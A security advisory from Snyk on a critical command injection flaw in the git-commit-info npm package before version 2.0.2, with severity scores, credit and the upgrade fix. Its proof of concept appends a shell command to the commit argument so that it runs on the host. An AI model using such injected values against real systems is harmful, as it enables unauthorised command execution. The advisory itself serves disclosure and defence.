Command Injection Affecting git-commit-info package, versions <2.0.2


0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.05% (15th percentile)
Expand this section
NVD
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-GITCOMMITINFO-5740174
  • published 27 Jun 2023
  • disclosed 26 Jun 2023
  • credit Feng Xiao

How to fix?

Upgrade git-commit-info to version 2.0.2 or higher.

Overview

git-commit-info is a Get the info of an specific commit hash

Affected versions of this package are vulnerable to Command Injection such that the package-exported method gitCommitInfo () fails to sanitize its parameter commit, which later flows into a sensitive command execution API. As a result, attackers may inject malicious commands once they control the hash content.

PoC

const gitCommitInfo = require('git-commit-info')
// information of the latest commit in ./my_repo
gitCommitInfo({
  cwd: './my_repo',
  commit: '82442c2405804d7aa44e7bedbc0b93bb17707626' + " || touch ci ||", // a malicious file named ci will be crated
});